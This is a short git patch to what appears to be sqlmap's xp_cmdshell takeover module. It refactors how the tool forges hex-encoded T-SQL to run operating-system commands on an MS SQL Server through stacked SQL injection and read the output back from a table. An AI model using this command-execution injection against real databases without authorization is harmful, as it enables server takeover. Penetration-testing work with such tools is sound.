From 58f6687194e536c24496136dbfe4c1025a6ecfca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 7 Jul 2012 10:51:29 +0200 Subject: [PATCH] Some refactoring (reusing xpCmdshellForgeCmd) --- lib/takeover/xp_cmdshell.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index f766c6a30..0f2a5d27c 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -141,11 +141,13 @@ class xp_cmdshell: if cmd: self.xpCmdshellExecCmd(cmd) - def xpCmdshellForgeCmd(self, cmd): + def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): self.__randStr = randomStr(lowercase=True) self.__cmd = "0x%s" % hexencode(cmd) self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) + if insertIntoTable: + self.__forgedCmd += "INSERT INTO %s " % insertIntoTable self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) return agent.runAsDBMSUser(self.__forgedCmd) @@ -169,7 +171,7 @@ class xp_cmdshell: output = new_output else: - inject.goStacked("INSERT INTO %s EXEC %s '%s'" % (self.cmdTblName, self.xpCmdshellStr, cmd)) + inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False) inject.goStacked("DELETE FROM %s" % self.cmdTblName)